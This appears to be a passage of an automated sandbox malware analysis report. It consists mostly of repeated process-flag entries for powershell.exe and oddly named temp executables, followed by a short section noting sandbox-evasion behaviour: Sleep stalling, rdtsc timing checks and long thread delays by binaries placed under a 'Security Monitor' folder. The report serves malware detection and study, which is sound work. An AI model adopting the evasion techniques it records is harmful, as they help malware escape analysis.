Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Stalling execution: Execution stalls by calling Sleep

graph_67-36428

Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Memory allocated: 11B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Memory allocated: 2D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Memory allocated: 2A90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033EB8B0 rdtsc

53_2_033EB8B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
